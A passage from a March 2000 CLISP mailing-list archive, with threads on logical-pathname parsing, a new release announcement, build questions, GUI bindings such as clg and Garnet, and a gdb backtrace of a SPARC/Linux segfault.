marcoxa@parades.rm.cnr.it Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] PARSE-NAMESTRING and LOGICAL-PATHNAMEs References: <200003011633.RAA17040@copernico.parades.rm.cnr.it> Return-Receipt-To: sds@gnu.org Reply-To: clisp-devel@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Marco Antoniotti's message of "Wed Mar 01 11:39:08 EST 2000" Date: 01 Mar 2000 13:39:25 -0500 Message-ID: Lines: 69 X-Mailer: Gnus v5.7/Emacs 20.4 this is the behavior documented in the impnotes.html. yes, it is not compliant (it is quite ugly that the type of the result is determined by the presence of a semicolon in the pathname). for now, you might want to check for #\: yourself and call `logical-pathname'. [note that `reply-to' is set to ] Bruno, how about lisp:*ansi-parse-namestring*? >>>> In message <200003011633.RAA17040@copernico.parades.rm.cnr.it> >>>> On the subject of "[clisp-list] PARSE-NAMESTRING and LOGICAL-PATHNAMEs" >>>> Sent on Wed Mar 01 11:39:08 EST 2000 >>>> Honorable Marco Antoniotti writes: >> >> I am working on the following little function in MK:DEFSYSTEM 4.0 >> >> (defun namestring-probably-logical-p (namestring) >> (and (stringp namestring) >> (typep (parse-namestring namestring) 'logical-pathname))) >> >> Unfortunately, in CLisp >> >> [1]> (setf (logical-pathname-translations "XXX") >> `(("*.*" "/user/zut/"))) >> ((#S(LOGICAL-PATHNAME :HOST "XXX" :DEVICE NIL :DIRECTORY (:ABSOLUTE) >> :NAME :WILD :TYPE :WILD :VERSION NIL >> ) >> "/user/zut/" >> )) >> [2]> (translate-logical-pathname "XXX:zot.c") >> #P"/user/zut/zot.c" >> [3]> (parse-namestring "XXX:zot.c") >> #P"XXX:zot.c" ; >> 9 >> [4]> (type-of *) >> PATHNAME >> [5]> (describe **) >> >> #P"XXX:zot.c" is a pathname, with the following components: >> DIRECTORY = >> NAME = XXX:zot >> TYPE = .c >> >> [6] ;;; define the function NAMESTRING-PROBABLY-LOGICAL-P. >> NAMESTRING-PROBABLY-LOGICAL-P >> [7]> (namestring-probably-logical-p "XXX:zot.c") >> NIL >> [8]> (translate-logical-pathname (parse-namestring "XXX:zot.c")) >> #P"XXX:zot.c" >> [9]> (type-of *) >> PATHNAME >> >> >> It may be that I have not updated my version later, but this is >> incorrect w.r.t. the Hyperspec. I.e. PARSE-NAMESTRING should >> recognize a logical pathname and parse it accordingly. Instead it >> seems to return a PATHNAME with an unparsed name. >> >> Note that CMUCL, Harlequin and ACL go the extra step to return >> something for which (typep * 'logical-pathname) is T. Hence, my >> function may be wrong, but also CLisp's behavior is non-conformant >> in this case. -- Sam Steingold (http://www.podval.org/~sds) Micros**t is not the answer. Micros**t is a question, and the answer is Linux, (http://www.linux.org) the choice of the GNU (http://www.gnu.org) generation. Isn't "Microsoft Works" an advertisement lie? From marcoxa@parades.rm.cnr.it Thu Mar 2 01:05:33 2000 Received: from copernico.parades.rm.cnr.it (copernico.parades.rm.cnr.it [150.146.37.21]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id BAA12039; Thu, 2 Mar 2000 01:05:31 -0800 Received: (from marcoxa@localhost) by copernico.parades.rm.cnr.it (8.9.3/8.9.0) id KAA17735; Thu, 2 Mar 2000 10:00:14 +0100 (MET) Date: Thu, 2 Mar 2000 10:00:14 +0100 (MET) Message-Id: <200003020900.KAA17735@copernico.parades.rm.cnr.it> X-Authentication-Warning: copernico.parades.rm.cnr.it: marcoxa set sender to marcoxa@parades.rm.cnr.it using -f From: Marco Antoniotti To: clisp-devel@lists.sourceforge.net CC: clisp-list@lists.sourceforge.net In-reply-to: (message from Sam Steingold on 01 Mar 2000 13:39:25 -0500) Subject: Re: [clisp-list] PARSE-NAMESTRING and LOGICAL-PATHNAMEs Reply-to: marcoxa@parades.rm.cnr.it References: <200003011633.RAA17040@copernico.parades.rm.cnr.it> > Delivery-Date: Wed, 01 Mar 2000 19:39:48 +0100 > Cc: clisp-list@lists.sourceforge.net > Reply-To: clisp-devel@lists.sourceforge.net > Mail-Copies-To: never > From: Sam Steingold > Date: 01 Mar 2000 13:39:25 -0500 > > this is the behavior documented in the impnotes.html. > yes, it is not compliant (it is quite ugly that the type of the result > is determined by the presence of a semicolon in the pathname). > for now, you might want to check for #\: yourself and call > `logical-pathname'. I agree the spec is ugly, but I need a *portable* way to determine whether a string is a logical pathname string which .... here is the catch ... works also on MCL. I suppose that I'll have to trap errors and use return a value based on that. Cheers -- Marco Antoniotti =========================================== PARADES, Via San Pantaleo 66, I-00186 Rome, ITALY tel. +39 - 06 68 10 03 17, fax. +39 - 06 68 80 79 26 http://www.parades.rm.cnr.it/~marcoxa From haible@ilog.fr Tue Mar 7 03:12:28 2000 Received: from sceaux.ilog.fr (sceaux.ilog.fr [193.55.64.10]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id DAA02909; Tue, 7 Mar 2000 03:12:26 -0800 Received: from laposte.ilog.fr (laposte [172.17.1.6]) by sceaux.ilog.fr (8.9.3/8.9.3) with ESMTP id MAA04474; Tue, 7 Mar 2000 12:05:12 +0100 (MET) Received: from oberkampf.ilog.fr ([172.17.4.218]) by laposte.ilog.fr (8.9.3/8.9.3) with ESMTP id MAA14050; Tue, 7 Mar 2000 12:07:45 +0100 (MET) From: Bruno Haible Received: (from haible@localhost) by oberkampf.ilog.fr (8.9.2/8.9.2) id MAA19929; Tue, 7 Mar 2000 12:07:42 +0100 (MET) Date: Tue, 7 Mar 2000 12:07:42 +0100 (MET) Message-Id: <200003071107.MAA19929@oberkampf.ilog.fr> To: clisp-list@lists.sourceforge.net, clisp-devel@lists.sourceforge.net Subject: [clisp-list] new CLISP release A new release, version 2000-03-06, is available at ftp://clisp.sourceforge.net/pub/clisp/ and ftp://clisp.cons.org/pub/lisp/clisp/source/ Also available are binary packages for the following platforms: i386-suse63-linux i386-redhat61-linux alpha-redhat-linux sparc-sun-solaris2.4 in ftp://clisp.sourceforge.net/pub/clisp/2000-03-06/ and ftp://clisp.cons.org/pub/lisp/clisp/binaries/ Changes, from the NEWS file: User visible changes -------------------- * New functions READ-FLOAT and WRITE-FLOAT. * Unicode support: The pretty-printer and FORMAT ~T now handle non-spacing and double-width Unicode characters correctly. Pretty-printer slows down by 30%. * Fixed two bugs in TRANSLATE-PATHNAME: Substitution of "**" did not work. Substitutions without version into non-logical pathnames crashed. * Dutch translations of the user interface messages have been added Thanks to Tijs van Bakel . * When configured with --with-export-syscalls, :SYSCALLS is in *FEATURES* and functions POSIX:RESOLVE-IP-ADDR, POSIX:USER-DATA, POSIX:FILE-STAT, POSIX:SYSINFO, POSIX:RESOURCE-USAGE-LIMITS, as well as those libm.so functions which do not have a better counterpart in ANSI CL are available. * New supported character sets in package CHARSET: ISO-8859-16, KOI8-U, KOI8-RU, EUC-JP, SHIFT-JIS, CP932, ISO-2022-JP, ISO-2022-JP-2, ISO-2022-JP-1, EUC-CN, HZ, GBK, CP936, EUC-TW, BIG5, CP950, ISO-2022-CN, ISO-2022-CN-EXT, EUC-KR, CP949, ISO-2022-KR, ARMSCII-8, GEORGIAN-ACADEMY, GEORGIAN-PS, TIS-620, MULELAO-1, CP1133, VISCII, TCVN, UTF-16, UTF-7, MACINTOSH (as an alias for MAC-ROMAN). Other modifications ------------------- * Speed up some sequence functions when operating on vectors: MAKE-SEQUENCE, CONCATENATE, COPY-SEQ, COERCE, SUBSEQ, REPLACE, FILL, REVERSE, NREVERSE, REMOVE[-IF[-NOT]] with :START/:END, SUBSTITUTE[-IF[-NOT]] with :START/:END, SORT. * Speed up ADJUST-ARRAY. Enjoy! Bruno From haible@ilog.fr Tue Mar 7 15:09:20 2000 Received: from sceaux.ilog.fr (sceaux.ilog.fr [193.55.64.10]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id PAA31905; Tue, 7 Mar 2000 15:09:19 -0800 Received: from laposte.ilog.fr (laposte [172.17.1.6]) by sceaux.ilog.fr (8.9.3/8.9.3) with ESMTP id AAA24018; Wed, 8 Mar 2000 00:02:03 +0100 (MET) Received: from oberkampf.ilog.fr ([172.17.4.218]) by laposte.ilog.fr (8.9.3/8.9.3) with ESMTP id AAA10831; Wed, 8 Mar 2000 00:04:35 +0100 (MET) From: Bruno Haible Received: (from haible@localhost) by oberkampf.ilog.fr (8.9.2/8.9.2) id AAA25969; Wed, 8 Mar 2000 00:04:32 +0100 (MET) Date: Wed, 8 Mar 2000 00:04:32 +0100 (MET) Message-Id: <200003072304.AAA25969@oberkampf.ilog.fr> To: clisp-list@lists.sourceforge.net, clisp-announce@lists.sourceforge.net Subject: [clisp-list] new CLISP release [Sorry if you receive this announcement multiple times.] A new release, version 2000-03-06, is available at ftp://clisp.sourceforge.net/pub/clisp/ and ftp://clisp.cons.org/pub/lisp/clisp/source/ Also available are binary packages for the following platforms: i386-suse63-linux i386-redhat61-linux alpha-redhat-linux sparc-redhat51-linux sparc-sun-solaris2.4 in ftp://clisp.sourceforge.net/pub/clisp/2000-03-06/ and ftp://clisp.cons.org/pub/lisp/clisp/binaries/ Changes, from the NEWS file: User visible changes -------------------- * New functions READ-FLOAT and WRITE-FLOAT. * Unicode support: The pretty-printer and FORMAT ~T now handle non-spacing and double-width Unicode characters correctly. Pretty-printer slows down by 30%. * Fixed two bugs in TRANSLATE-PATHNAME: Substitution of "**" did not work. Substitutions without version into non-logical pathnames crashed. * Dutch translations of the user interface messages have been added Thanks to Tijs van Bakel . * When configured with --with-export-syscalls, :SYSCALLS is in *FEATURES* and functions POSIX:RESOLVE-IP-ADDR, POSIX:USER-DATA, POSIX:FILE-STAT, POSIX:SYSINFO, POSIX:RESOURCE-USAGE-LIMITS, as well as those libm.so functions which do not have a better counterpart in ANSI CL are available. * New supported character sets in package CHARSET: ISO-8859-16, KOI8-U, KOI8-RU, EUC-JP, SHIFT-JIS, CP932, ISO-2022-JP, ISO-2022-JP-2, ISO-2022-JP-1, EUC-CN, HZ, GBK, CP936, EUC-TW, BIG5, CP950, ISO-2022-CN, ISO-2022-CN-EXT, EUC-KR, CP949, ISO-2022-KR, ARMSCII-8, GEORGIAN-ACADEMY, GEORGIAN-PS, TIS-620, MULELAO-1, CP1133, VISCII, TCVN, UTF-16, UTF-7, MACINTOSH (as an alias for MAC-ROMAN). Other modifications ------------------- * Speed up some sequence functions when operating on vectors: MAKE-SEQUENCE, CONCATENATE, COPY-SEQ, COERCE, SUBSEQ, REPLACE, FILL, REVERSE, NREVERSE, REMOVE[-IF[-NOT]] with :START/:END, SUBSTITUTE[-IF[-NOT]] with :START/:END, SORT. * Speed up ADJUST-ARRAY. Enjoy! Bruno From amoroso@mclink.it Wed Mar 8 12:05:17 2000 Received: from mail1.mclink.it (net128-007.mclink.it [195.110.128.7]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id MAA03617 for ; Wed, 8 Mar 2000 12:05:15 -0800 Received: from net145-084.mclink.it (net145-084.mclink.it [195.110.145.84]) by mail1.mclink.it (8.9.1/8.9.0) with SMTP id VAA07532 for ; Wed, 8 Mar 2000 21:00:57 +0100 (CET) From: Paolo Amoroso To: clisp-list@lists.sourceforge.net Date: Wed, 08 Mar 2000 21:00:29 +0100 Organization: Paolo Amoroso - Milan, ITALY Message-ID: <763GOPF50jWEMf3G=nyCgvJDTgT4@4ax.com> X-Mailer: Forte Agent 1.6/32.525 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: [clisp-list] Building separate full images with NCLX and MIT CLX While building CLISP from source I would like to generate two separate full--i.e. not base--images, one with NCLX and the other with MIT CLX: 1) Can I just add new-clx and mit-clx to the MODULES variable in the Makefile and build as usual? 2) Is the makefile structured so that these modules are mutually exclusive? 3) Do I have to build one image as usual, say the one with NCLX, and then separately compile the other with the Makefile.clisp of MIT CLX? Paolo -- EncyCMUCLopedia * Extensive collection of CMU Common Lisp documentation http://cvs2.cons.org:8000/cmucl/doc/EncyCMUCLopedia/ From amoroso@mclink.it Sat Mar 11 05:16:33 2000 Received: from mail1.mclink.it (net128-007.mclink.it [195.110.128.7]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id FAA20306 for ; Sat, 11 Mar 2000 05:16:31 -0800 Received: from net145-074.mclink.it (net145-074.mclink.it [195.110.145.74]) by mail1.mclink.it (8.9.1/8.9.0) with SMTP id OAA12721; Sat, 11 Mar 2000 14:11:58 +0100 (CET) From: Paolo Amoroso To: clisp-list@lists.sourceforge.net Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Building separate full images with NCLX and MIT CLX Date: Sat, 11 Mar 2000 14:11:26 +0100 Organization: Paolo Amoroso - Milan, ITALY Message-ID: References: <763GOPF50jWEMf3G=nyCgvJDTgT4@4ax.com> In-Reply-To: <763GOPF50jWEMf3G=nyCgvJDTgT4@4ax.com> X-Mailer: Forte Agent 1.6/32.525 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit On Wed, 08 Mar 2000 21:00:29 +0100, Paolo Amoroso wrote: > While building CLISP from source I would like to generate two separate > full--i.e. not base--images, one with NCLX and the other with MIT CLX: [...] > 3) Do I have to build one image as usual, say the one with NCLX, and then > separately compile the other with the Makefile.clisp of MIT CLX? For those who are wondering: this does the trick. The process generates a base image with MIT CLX. Be sure to customize the value of the `prefix' variable in the makefile if necessary, and check that the directory defined by `lisplibdir' actually exists before doing `make install'. Also note that, because of the structure of linking sets, Lisp binaries compiled with the NCLX image do not work with the MIT CLX image, and vice versa. Paolo -- EncyCMUCLopedia * Extensive collection of CMU Common Lisp documentation http://cvs2.cons.org:8000/cmucl/doc/EncyCMUCLopedia/ From haible@ilog.fr Mon Mar 13 05:25:22 2000 Received: from sceaux.ilog.fr (sceaux.ilog.fr [193.55.64.10]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id FAA12532 for ; Mon, 13 Mar 2000 05:25:21 -0800 Received: from laposte.ilog.fr (laposte [172.17.1.6]) by sceaux.ilog.fr (8.9.3/8.9.3) with ESMTP id OAA21961 for ; Mon, 13 Mar 2000 14:17:32 +0100 (MET) Received: from jaures.ilog.fr ([172.17.4.27]) by laposte.ilog.fr (8.9.3/8.9.3) with ESMTP id OAA29997; Mon, 13 Mar 2000 14:20:10 +0100 (MET) From: Bruno Haible Received: (from haible@localhost) by jaures.ilog.fr (8.9.2/8.9.2) id OAA16787; Mon, 13 Mar 2000 14:20:07 +0100 (MET) Date: Mon, 13 Mar 2000 14:20:07 +0100 (MET) Message-Id: <200003131320.OAA16787@jaures.ilog.fr> To: clisp-list@lists.sourceforge.net Subject: [clisp-list] Cannot run clisp program, says Not enough memory" Mail forwarded from "Henry" . Can someone please help him? ------- start of forwarded message (RFC 934 encapsulation) ------- Message-ID: <000501bf8ced$14b1d600$4f593bcb@yota> MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset="iso-8859-1" From: "Henry" To: Subject: Cannot run clisp program, says Not enough memory" Date: Mon, 13 Mar 2000 21:07:24 +0800 Hi Bruno, I've installed Clisp on my Win98 system. When I tried to execute it, it says "Cannot reserve address range 0x1A5C0000-0x6697FFFF . GetLastEr _NOT_ENOUGH_MEMORY): Not enough storage is available to proces C:\PROGRA~1\CLISPP~1\LISP.EXE: Not enough memory for Lisp." I've 128mb of RAM on my system. Can you plesae help me out?? Thanks in advance. - -HY ------- end ------- From sds@gnu.org Mon Mar 13 07:08:08 2000 Received: from venus.kstream.com (venus.kstream.com [38.156.71.12]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id HAA16834 for ; Mon, 13 Mar 2000 07:08:07 -0800 Received: from SAM.ksp.com (sam [10.100.100.57]) by venus.kstream.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id GPVJKVM0; Mon, 13 Mar 2000 10:02:56 -0500 To: yongmk@omen.net.au Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Cannot run clisp program, says Not enough memory" References: <200003131320.OAA16787@jaures.ilog.fr> Return-Receipt-To: sds@gnu.org Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Bruno Haible's message of "Mon Mar 13 08:26:52 EST 2000" Date: 13 Mar 2000 10:02:55 -0500 Message-ID: Lines: 28 X-Mailer: Gnus v5.7/Emacs 20.4 >>>> In message <200003131320.OAA16787@jaures.ilog.fr> >>>> On the subject of "[clisp-list] Cannot run clisp program, says Not enough memory"" >>>> Sent on Mon Mar 13 08:26:52 EST 2000 >>>> Honorable Bruno Haible writes: >> Mail forwarded from "Henry" . Can someone please help him? >> >> Hi Bruno, I've installed Clisp on my Win98 system. When I tried to execute >> it, it says >> "Cannot reserve address range 0x1A5C0000-0x6697FFFF . GetLastEr >> _NOT_ENOUGH_MEMORY): Not enough storage is available to proces >> C:\PROGRA~1\CLISPP~1\LISP.EXE: Not enough memory for Lisp." >> >> I've 128mb of RAM on my system. >> Can you plesae help me out?? 1. what version of CLISP are you using? 2. what is the command line you use to run clisp? 3. did you try the -M option? 4. do you subscribe to clisp-list? -- Sam Steingold (http://www.podval.org/~sds) Micros**t is not the answer. Micros**t is a question, and the answer is Linux, (http://www.linux.org) the choice of the GNU (http://www.gnu.org) generation. Daddy, why doesn't this magnet pick up this floppy disk? From sds@gnu.org Wed Mar 15 07:58:42 2000 Received: from venus.kstream.com (venus.kstream.com [38.156.71.12]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id HAA21322 for ; Wed, 15 Mar 2000 07:58:41 -0800 Received: from SAM.ksp.com (sam [10.100.100.57]) by venus.kstream.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id GPVJKW3A; Wed, 15 Mar 2000 10:53:23 -0500 To: clisp-list@lists.sourceforge.net Return-Receipt-To: sds@gnu.org Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold Date: 15 Mar 2000 10:53:22 -0500 Message-ID: Lines: 44 X-Mailer: Gnus v5.7/Emacs 20.4 Subject: [clisp-list] [comp.lang.lisp] Gtk bindings for CMUCL/CLISP The appended message answers one of the most popular clisp survey (http://sourceforge.net/survey/survey.php?group_id=1355&survey_id=10073) feature requests - for a GUI development tool. While CLISP already comes with (2 implementations of) CLX, it is considered too low-level for easy development. If there is a sufficient user demand, the developers might think of discussing the idea of considering talking about trying to integrate clg into the standard clisp distribution. :-) -- Sam Steingold (http://www.podval.org/~sds) Micros**t is not the answer. Micros**t is a question, and the answer is Linux, (http://www.linux.org) the choice of the GNU (http://www.gnu.org) generation. Bill Gates is great, as long as `bill' is a verb. ------- Start of forwarded message ------- Newsgroups: comp.lang.lisp From: Espen S Johnsen Subject: Gtk bindings for CMUCL/CLISP Organization: - Message-ID: References: <38C57FDA.E64B546D@cra.com> <8EF0C3C93rcl211is9nyuedu@128.122.253.77> <87og8qtf3x.fsf@senstation.vvf.fi> Date: Tue, 14 Mar 2000 21:07:52 GMT I writes: > Hannu Koivisto writes: > > > Here's another one for 1.2: . > > Unfornately my ISP has closed anonymous FTP so this URL is no longer > valid. I will try to make it available throught HTTP in a few days. In > the meanwhile I could mail it to anyone interested. It is now avaible at . To avoid confuison with Gilbert Baumann's package with the same name, I have changed the name to clg. Unfornately I will not be able to answer any messages or mails regarding this package for the next two months. -- Espen ------- End of forwarded message ------- From erik@inanna.starseed.com Wed Mar 15 08:37:26 2000 Received: from inanna.starseed.com (IDENT:root@inanna.starseed.com [206.151.157.197]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id IAA23342 for ; Wed, 15 Mar 2000 08:37:25 -0800 Received: (from erik@localhost) by inanna.starseed.com (8.9.3/8.9.3) id IAA26407; Wed, 15 Mar 2000 08:32:36 -0800 From: Erik Arneson MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14543.47908.90747.567079@inanna.starseed.com> Date: Wed, 15 Mar 2000 08:32:36 -0800 (PST) To: sds@gnu.org Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] [comp.lang.lisp] Gtk bindings for CMUCL/CLISP In-Reply-To: References: X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid X-Face: 5cn>qK@1OR6I-8MTrOxM$uWT{q,+]tk>lw=d"k3z;kz&?EWr!I}*M1\owVgP[N7D0v@l}Q&xVi1y$_$KJ_cZU>A.PV~*i,2veR@'ALMDk&8@}Bj^UTyy](qQV+Ba#k-lsYs|sa~CIKW~Q[\#|.*mKUsa!5KP$i."L#:vnUdzRLOusI%ODk#V]}u`cx0+s1pp,Py|=d2d On 15 Mar 00, Sam Steingold wrote: > If there is a sufficient user demand, the developers might think of > discussing the idea of considering talking about trying to integrate clg > into the standard clisp distribution. :-) I'd love to see this happen. Consider me a demanding user. :) -- # Erik Arneson erik@starseed.com Webring Software Engineer # # Yahoo! Inc. GPG Key ID: 1024D/43AD6AB8 (541) 482-3000x114 # # "The worst wheel of a cart makes the most noise." - Ben Franklin # From tl@azimuth.inesc.pt Wed Mar 15 13:33:51 2000 Received: from inesc.inesc.pt (inesc.inesc.pt [146.193.0.1]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id NAA06241 for ; Wed, 15 Mar 2000 13:33:49 -0800 Received: from azimuth.inesc.pt (IDENT:root@azimuth.inesc.pt [146.193.1.152]) by inesc.inesc.pt (8.9.3/8.9.3) with ESMTP id VAA98474 for ; Wed, 15 Mar 2000 21:28:59 GMT (envelope-from tl@azimuth.inesc.pt) Received: from azimuth (IDENT:tl@localhost [127.0.0.1]) by azimuth.inesc.pt (8.9.3/8.8.7) with ESMTP id VAA05550; Wed, 15 Mar 2000 21:08:13 GMT Message-Id: <200003152108.VAA05550@azimuth.inesc.pt> X-Mailer: exmh version 2.0.2 To: clisp-list@lists.sourceforge.net, tl@azimuth Reply-To: thibault.langlois@inesc.pt Subject: Re: [clisp-list] [comp.lang.lisp] Gtk bindings for CMUCL/CLISP In-reply-to: Your message of "15 Mar 2000 10:53:22 EST." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 15 Mar 2000 21:08:12 +0000 From: Thibault Langlois | | While CLISP already comes with (2 implementations of) CLX, it is | considered too low-level for easy development. | What about Garnet ? I'm a very new Garnet user and I must say that I like it. It comes with an excelent doc and several apps, the most usefull being a GUI builder. Of course some people say it looks ugly... | If there is a sufficient user demand, the developers might think of | discussing the idea of considering talking about trying to integrate clg | into the standard clisp distribution. :-) | I don't know clg but I have installed Gilbert Baumann's package. Does clg follow the same principle (the GUI is running in a separate process and controled via sockets) ? I was wondering what are the advantages of this approach compared with a binding via a FFI. In the case of a separate process, objects of the interface are duplicated (on the lisp side and on the c side). Am I right ? Gilbert Baumann did not use his gtk package for closure (he used clue). Why ? Thibault Langlois From emarsden@laas.fr Thu Mar 16 02:01:32 2000 Received: from laas.laas.fr (root@laas.laas.fr [140.93.0.15]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id CAA32539 for ; Thu, 16 Mar 2000 02:01:20 -0800 Received: from dukas.laas.fr (dukas [140.93.21.58]) by laas.laas.fr (8.9.3/8.9.3) with ESMTP id KAA02308 for ; Thu, 16 Mar 2000 10:56:22 +0100 (MET) Received: (from emarsden@localhost) by dukas.laas.fr (8.9.3/8.9.3) id KAA14198; Thu, 16 Mar 2000 10:56:21 +0100 (MET) To: clisp-list@lists.sourceforge.net References: <200003152108.VAA05550@azimuth.inesc.pt> Organization: LAAS-CNRS http://www.laas.fr/ MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Eric-Conspiracy: there is no conspiracy X-Attribution: ecm X-URL: http://www.chez.com/emarsden/ From: Eric Marsden Date: 16 Mar 2000 10:56:20 +0100 In-Reply-To: Thibault Langlois's message of "Wed, 15 Mar 2000 21:08:12 +0000" Message-ID: Lines: 39 X-Mailer: Gnus v5.7/Emacs 20.4 Subject: [clisp-list] Re: [comp.lang.lisp] Gtk bindings for CMUCL/CLISP >>>>> "tl" == Thibault Langlois writes: tl> What about Garnet ? I'm a very new Garnet user and I must say tl> that I like it. It comes with an excelent doc and several apps, tl> the most usefull being a GUI builder. Of course some people say tl> it looks ugly... I've been playing with it recently, and it seems powerful, though crufty in places (lots of #+), and I'd prefer having native widgets. It doesn't work correctly with CLISP: with nclx it seems to miss some refresh events (windows sometimes stay undrawn), and the logo in the demos section doesn't display in color. It doesn't work at all with mit-clx (nor indeed do basic CLX demos): there are problems with setf functions being hidden by setf-expanders: when loading garnet: WARNING: The function (SETF XLIB:GCONTEXT-FUNCTION) is hidden by a SETF expander. WARNING: The function (SETF XLIB:GCONTEXT-FOREGROUND) is hidden by a SETF expander. WARNING: The function (SETF XLIB:GCONTEXT-BACKGROUND) is hidden by a SETF expander. [...] then when running: *** - FUNCALL: the function #:|(SETF XLIB:WINDOW-PLIST)| is undefined I think the problem is in the mit-clx/depdefs.lsp:def-clx-class macro, which seems to be emulating CLOS with structures, but it's too hairy for me to understand. [CLISP 2000-03-06 and garnet-3.0.clisp] -- Eric Marsden From amoroso@mclink.it Thu Mar 16 13:55:14 2000 Received: from mail1.mclink.it (net128-007.mclink.it [195.110.128.7]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id NAA28876 for ; Thu, 16 Mar 2000 13:55:12 -0800 Received: from net145-074.mclink.it (net145-074.mclink.it [195.110.145.74]) by mail1.mclink.it (8.9.1/8.9.0) with SMTP id WAA19521; Thu, 16 Mar 2000 22:50:14 +0100 (CET) From: Paolo Amoroso To: Eric Marsden Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: [comp.lang.lisp] Gtk bindings for CMUCL/CLISP Date: Thu, 16 Mar 2000 22:49:34 +0100 Organization: Paolo Amoroso - Milan, ITALY Message-ID: References: <200003152108.VAA05550@azimuth.inesc.pt> In-Reply-To: X-Mailer: Forte Agent 1.6/32.525 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit On 16 Mar 2000 10:56:20 +0100, you wrote: > refresh events (windows sometimes stay undrawn), and the logo in the > demos section doesn't display in color. It doesn't work at all with The Garnet logo demo used to work in color for me with CLISP and NCLX, but I can't confirm it now because I haven't rebuilt Garnet yet. Paolo -- EncyCMUCLopedia * Extensive collection of CMU Common Lisp documentation http://cvs2.cons.org:8000/cmucl/doc/EncyCMUCLopedia/ From bmc@visi.net Sun Mar 19 10:12:01 2000 Received: from blimpo.visi.net (ppp44.ts3.Gloucester.visi.net [206.246.230.172]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id KAA11060 for ; Sun, 19 Mar 2000 10:12:00 -0800 Received: from bmc by blimpo.visi.net with local (Exim 3.12 #1 (Debian)) id 12Wk5O-0007ne-00 for ; Sun, 19 Mar 2000 13:05:58 -0500 Date: Sun, 19 Mar 2000 13:05:58 -0500 From: Ben Collins To: clisp-list@lists.sourceforge.net Message-ID: <20000319130558.N241@visi.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii User-Agent: Mutt/1.0.1i Sender: Ben Collins Subject: [clisp-list] SPARC/Linux problems I've been beating my head over this problem. I've compiled three versions of clisp, with gcc 2.95.2 and gcc 2.7.2.3, and every one has this problem. Basically lisp.run segfaults. I ran it through some debuging and here is where gdb picks up the problem: (gdb) file ./lisp.run Reading symbols from ./lisp.run...done. (gdb) run Starting program: /home/bcollins/clisp-1999-07-22/src/./lisp.run Program received signal SIGSEGV, Segmentation fault. 0x13764 in gc_mark_stack (objptr=0x2e2ffffc) at spvw_garcol.d:384 384 { until (eq(*objptr,nullobj)) # bis STACK zu Ende ist: (gdb) bt #0 0x13764 in gc_mark_stack (objptr=0x2e2ffffc) at spvw_garcol.d:384 #1 0x137c8 in gc_markphase () at spvw_garcol.d:411 #2 0x13e1c in gar_col_normal () at spvw_garcol.d:1594 #3 0x14b44 in do_gar_col_simple () at spvw_garcol.d:2369 #4 0x8cb5c in with_gc_statistics (fun=0x14b38 ) at predtype.d:2571 #5 0x14b70 in gar_col_simple () at spvw_garcol.d:2397 #6 0x14ce0 in make_space_gc_TRUE (need=40, heapptr=0x13a25c) at spvw_allocate.d:225 #7 0x150d4 in allocate_vector (len=7) at spvw_typealloc.d:94 #8 0x18744 in init_subr_tab_2 () at spvw.d:1161 #9 0x19ec8 in initmem () at spvw.d:1549 #10 0x1b174 in main (argc=1, argv=0xeffffaa4) at spvw.d:2661 (gdb) print *objptr Cannot access memory at address 0x2e2ffffc. Any one know what's going on? Ben (please Cc me, I am not sub'd to the list) -- -----------=======-=-======-=========-----------=====------------=-=------ / Ben Collins -- ...on that fantastic voyage... -- Debian GNU/Linux \ ` bcollins@debian.org -- bcollins@openldap.org -- bmc@visi.net ' `---=========------=======-------------=-=-----=-===-======-------=--=---' From haible@ilog.fr Mon Mar 20 05:20:51 2000 Received: from sceaux.ilog.fr (sceaux.ilog.fr [193.55.64.10]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id FAA15385 for ; Mon, 20 Mar 2000 05:20:50 -0800 Received: from laposte.ilog.fr (laposte [172.17.1.6]) by sceaux.ilog.fr (8.9.3/8.9.3) with ESMTP id OAA07808; Mon, 20 Mar 2000 14:11:44 +0100 (MET) Received: from jaures.ilog.fr ([172.17.4.27]) by laposte.ilog.fr (8.9.3/8.9.3) with ESMTP id OAA10203; Mon, 20 Mar 2000 14:14:29 +0100 (MET) From: Bruno Haible Received: (from haible@localhost) by jaures.ilog.fr (8.9.2/8.9.2) id OAA07812; Mon, 20 Mar 2000 14:14:26 +0100 (MET) 